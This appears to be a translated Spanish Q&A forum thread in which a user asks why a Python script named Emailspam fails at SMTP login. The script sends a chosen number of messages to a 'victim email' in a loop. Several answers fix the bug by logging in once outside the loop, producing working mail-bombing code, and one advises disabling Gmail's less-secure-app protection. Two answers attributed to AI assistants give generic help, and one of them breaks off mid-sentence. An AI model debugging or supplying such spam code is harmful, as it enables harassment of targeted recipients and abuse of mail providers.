Incapaz de iniciar sesión usando smtp

Introduzco el email correcto / contraseña pero todavía no puede acceder a ese correo / incapaz de enviar mensaje con ese correo por lo que está salida El nombre de usuario o contraseña que ha introducido es incorrecto ¿Puede alguien ayudarme a identificar el problema y encontrar una buena solución, por favor?

Gracias.

-me

def Emailspam():
print("Choose your email provider")
print("1. Gmail")
print("2. Outlook")
provider = input(CRED + ">>> " + CEND)
os.system("cls")

useremail = input("EMAIL : ")
userpass = input("PASSWORD : ")
os.system("cls")

victimemail = input("Victim email : ")
Content = input('Message : ')
Number = int(input("Number of mail to send : "))
os.system("cls")

#https://www.androidauthority.com/gmail-smtp-settings-801100/#:~:text=SMTP%20server%20address%3A%20smtp.gmail,SMTP%20port%20(SSL)%3A%20465
if provider == ("1"):
    smtp_server = 'smtp.gmail.com'
    port = 587
#https://support.microsoft.com/en-us/office/pop-imap-and-smtp-settings-for-outlook-com-d088b986-291d-42b8-9564-9c414e2aa040
elif provider == ("2"):
    smtp_server = 'smtp.office365.com'
    port = 587

else:
    print("Invalid choice")
    skrr = input("press enter to close")
    exit()

try:
    server = smtplib.SMTP(smtp_server,port)
    server.login(useremail,userpass)

    for i in range(0,Number):
        print("Number of Message Sent to " + victimemail + ":" , i+1)
        server.starttls()
        server.ehlo()
        server.sendmail(useremail,victimemail,Content)
        time.sleep(1)

    server.close()

except Exception as e:
    print('The username or password you entered is incorrect.')
    p = input("Press enter to close")
    exit()

Pregunta hecha hace 3 años, 4 meses, 25 días - Por quantumquill62b1


5 Respuestas:

  • Trate de crear una contraseña de aplicación y luego vea si funciona. Para crear una contraseña de aplicación, vaya a su cuenta y vaya a la configuración de privacidad para configurarla. Además, trate de añadir:

    server.ehlo()
    

    después:

    server.starttls()
    

    Respondida el Dec 21, 2020 a las 08:32 - por algorithmadept

    Votos positivos: 0 | Votos negativos: 0

  • usando el servidor. conectar y mover pocas cosas fuera del bucle lo arreglará

     def Emailspam():
            print("Choose your email provider")
            print("1. Gmail")
            print("2. Outlook")
            provider = input(CRED + ">>> " + CEND)
            os.system("cls")
        
            useremail = input("EMAIL : ")
            userpass = input("PASSWORD : ")
            os.system("cls")
        
            victimemail = input("Victim email : ")
            Content = input('Message : ')
            Number = int(input("Number of mail to send : "))
            os.system("cls")
            
            #https://www.androidauthority.com/gmail-smtp-settings-801100/#:~:text=SMTP%20server%20address%3A%20smtp.gmail,SMTP%20port%20(SSL)%3A%20465
            if provider == ("1"):
                smtp_server = 'smtp.gmail.com'
                port = 587
            #https://support.microsoft.com/en-us/office/pop-imap-and-smtp-settings-for-outlook-com-d088b986-291d-42b8-9564-9c414e2aa040
            elif provider == ("2"):
                smtp_server = 'smtp.office365.com'
                port = 587
            
            else:
                print("Invalid choice")
                skrr = input("press enter to close")
                exit()
        
            try:
                server = smtplib.SMTP(smtp_server,port)
                server.connect(smtp_server,port)
                server.ehlo()
                server.starttls()
                server.login(useremail,userpass)
        
        
                for i in range(0,Number):
                    print("Number of Message Sent to " + victimemail + ":" , i+1)
                    server.sendmail(useremail,victimemail,Content)
                    time.sleep(1)
        
                print("Finished")
                server.close()
        
            except Exception as e:
                print(e)
                print('The username or password you entered is incorrect.')
                p = input("Press enter to close")
                exit()
    

    Respondida el Dec 21, 2020 a las 08:39 - por devdoodle

    Votos positivos: 0 | Votos negativos: 0

  • Google ha incrementado su seguridad. Así que no podrás acceder a ninguna cuenta de gmail si no has apagado tu acceso a menos aplicaciones de seguridad desde tu cuenta de gmail. Para hacer ese primer clic gestionar google account Ficha de seguridad Menos acceso seguro a la aplicación Fuera. Este es un artículo para él:Cómo apagar menos acceso seguro a la aplicación en gmail

    Otra cosa es que no deberías mantener el código de inicio de sesión en tu bucle. Deberías entrar fuera del bucle. Así que se iniciará una vez y enviará correo electrónico con esa cuenta muchas veces.

    Espero que ayude!

    Aquí está el código de trabajo:

    def Emailspam():
        print("Choose your email provider")
        print("1. Gmail")
        print("2. Outlook")
        provider = input(CRED + ">>> " + CEND)
        os.system("cls")
    
        useremail = input("EMAIL : ")
        userpass = input("PASSWORD : ")
        os.system("cls")
    
        victimemail = input("Victim email : ")
        Content = input('Message : ')
        Number = int(input("Number of mail to send : "))
        os.system("cls")
    
    
        if provider == ("1"):
            smtp_server = 'smtp.gmail.com'
            port = 587
    
        elif provider == ("2"):
            smtp_server = 'smtp.office365.com'
            port = 587
    
        else:
            print("Invalid choice")
            skrr = input("press enter to close")
            exit()
    
        try:
            server = smtplib.SMTP(smtp_server,port)
            server.ehlo()
            server.starttls()
            server.login(useremail,userpass)
    
            for i in range(0,Number):
                print("Number of Message Sent to " + victimemail + ":" , i+1)
                server.sendmail(useremail,victimemail,Content)
                time.sleep(1)
    
            server.close()
    
        except Exception as e:
            print('The username or password you entered is incorrect.')
            p = input("Press enter to close")
            exit()
    

    Respondida el Dec 21, 2020 a las 08:48 - por devdynamox

    Votos positivos: 0 | Votos negativos: 0

  • El problema que estás experimentando puede deberse a varios factores. Aquí hay algunas sugerencias para identificar y solucionar el problema:

    • Verifica que estás utilizando las credenciales correctas para el proveedor de correo electrónico que has seleccionado.
    • Asegúrate de que las credenciales no tengan espacios en blanco al principio o al final.
    • Verifica que estás introduciendo la dirección de correo electrónico y contraseña correctamente al momento de ingresarlas. Puedes copiar y pegar para evitar errores tipográficos.
    • Para Gmail, asegúrate de que tu cuenta tenga la opción de "Acceso de aplicaciones menos seguras" habilitada. Puedes revisar esto en la configuración de seguridad de tu cuenta de Google.
    • Para Outlook, es posible que necesites habilitar la autenticación de dos factores en tu cuenta y crear una contraseña de aplicación específica para tu aplicación de correo electrónico.
    • Puedes intentar imprimir el error que obtienes en la excepción `e` para obtener más información sobre lo que está causando el problema.

    Además, ten en cuenta que enviar correos electrónicos de forma

    Respondida el Dec 22, 2020 a las 08:34 - por Gpt

    Votos positivos: 0 | Votos negativos: 0

  • El error "El nombre de usuario o contraseña que ha introducido es incorrecto" normalmente se produce cuando intentas iniciar sesión en un servidor SMTP con credenciales incorrectas. En tu caso, estás utilizando una biblioteca de Python para enviar correos electrónicos, y el error se produce cuando el código intenta iniciar sesión en el servidor SMTP.

    Para resolver este problema, puedes intentar lo siguiente:

    • Verifica tus credenciales: Asegúrate de que estás utilizando el nombre de usuario y la contraseña correctos para tu cuenta de correo electrónico. Vuelve a introducir cuidadosamente tus credenciales y asegúrate de que no haya errores tipográficos.
    • Comprueba la configuración: Asegúrate de que la configuración del servidor SMTP, como el nombre del host, el puerto y la configuración SSL/TLS, sea correcta para el proveedor de correo electrónico que estás utilizando. Puedes encontrar la configuración correcta en los sitios web de soporte de los proveedores de correo electrónico.
    • Habilita la autenticación de aplicaciones: Algunos proveedores de correo electrónico requieren que habilites la autenticación de aplicaciones para que las aplicaciones de terceros, como las bibliotecas de Python para enviar correos electrónicos, puedan acceder a tu cuenta. Inicia sesión en tu cuenta de correo electrónico y busca la configuración de autenticación de aplicaciones. Sigue las instrucciones para generar una contraseña específica de la aplicación y utilizarla en tu código.
    • Verifica la conectividad de red: Asegúrate de que tu ordenador tenga una conexión a Internet estable y que el servidor SMTP no esté bloqueado por un cortafuegos o software de seguridad.
    • Prueba con un proveedor de correo electrónico diferente: Intenta utilizar un proveedor de correo electrónico diferente, como Gmail o Outlook, y comprueba si el problema persiste. Esto puede ayudarte a aislar el problema a un proveedor de correo electrónico específico.

    Si sigues teniendo problemas después de intentar estas soluciones, puedes intentar depurar tu código paso a paso para identificar el punto exacto en el que se produce el error. También puedes consultar la documentación de la biblioteca que estás utilizando para obtener más información sobre la configuración y el uso de la autenticación SMTP.

    Respondida el Dec 22, 2020 a las 08:36 - por Gemini

    Votos positivos: 0 | Votos negativos: 0